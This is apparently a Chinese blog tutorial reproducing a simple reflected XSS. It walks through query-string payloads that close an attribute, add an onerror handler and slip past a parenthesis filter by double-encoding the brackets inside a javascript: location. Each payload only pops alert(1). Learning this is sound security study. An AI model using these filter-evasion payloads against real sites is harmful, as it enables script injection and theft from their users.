简单反射型XSS的复现

xss反射型攻击:

1.最简单的漏洞复现:

这里我们有一个最简单的网页:由于地址不存在,所以图片加载不出来。

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="aaaa" onerror="alert(1)" alt="error">
</body>
</html>

首先我们要知道onerror函数有什么作用:捕获页面错误信息并调用函数

我们先写一个最简单的xss,发现在源代码上面出现在了scr

复制代码
?xss=aaaaaa

所以接下来尝试用"闭合

复制代码
?xss=aaaaa" onerror="alert(1)

可以看到这里没有编译括号,所以是后台把括号过滤了

接下来就尝试对括号进行编码,(的编码是%28)的编码是%29

复制代码
?xss=aaaaa" onerror="alert%281%29

可以发现还是没有任何变化,原因是因为浏览器会在进行编码之后才给到函数运行,所以在函数执行之前又会变回括号一样被过滤。

所以为了避免被浏览器编码,我们可以进行二次编码,把%编码成%25

复制代码
?xss=aaaaa" onerror="alert%25281%2529

发现依然不行,想起来js编码不能替换符号,所以这里要用到location,作用是将符号,变量名,函数名都变成字符串,就可以进行js编码了。

复制代码
?xss=aaaaa" onerror= location="javascript:alert%25281%2529

可以看出已经可以了。

相关推荐
面朝大海,春不暖,花不开几秒前
Spring Boot MVC自动配置与Web应用开发详解
前端·spring boot·mvc
知否技术1 分钟前
2025微信小程序开发实战教程(一)
前端·微信小程序
玲小珑2 分钟前
Auto.js 入门指南(五)实战项目——自动脚本
android·前端
Sparkxuan2 分钟前
IntersectionObserver的用法
前端
玲小珑3 分钟前
Auto.js 入门指南(四)Auto.js 基础概念
android·前端
全栈技术负责人3 分钟前
Webpack性能优化:构建速度与体积优化策略
前端·webpack·node.js
爱吃肉的小鹿5 分钟前
浏览器渲染的核心流程及详细解析(2025.6月最新)
前端
贩卖纯净水.9 分钟前
webpack打包学习
前端·学习·webpack
敲键盘的小夜猫21 分钟前
RunnablePassthrough介绍和透传参数实战
java·服务器·前端
独立开阀者_FwtCoder30 分钟前
MySQL FULLTEXT索引解析:为什么它能大幅提升文本搜索性能?
前端·javascript·面试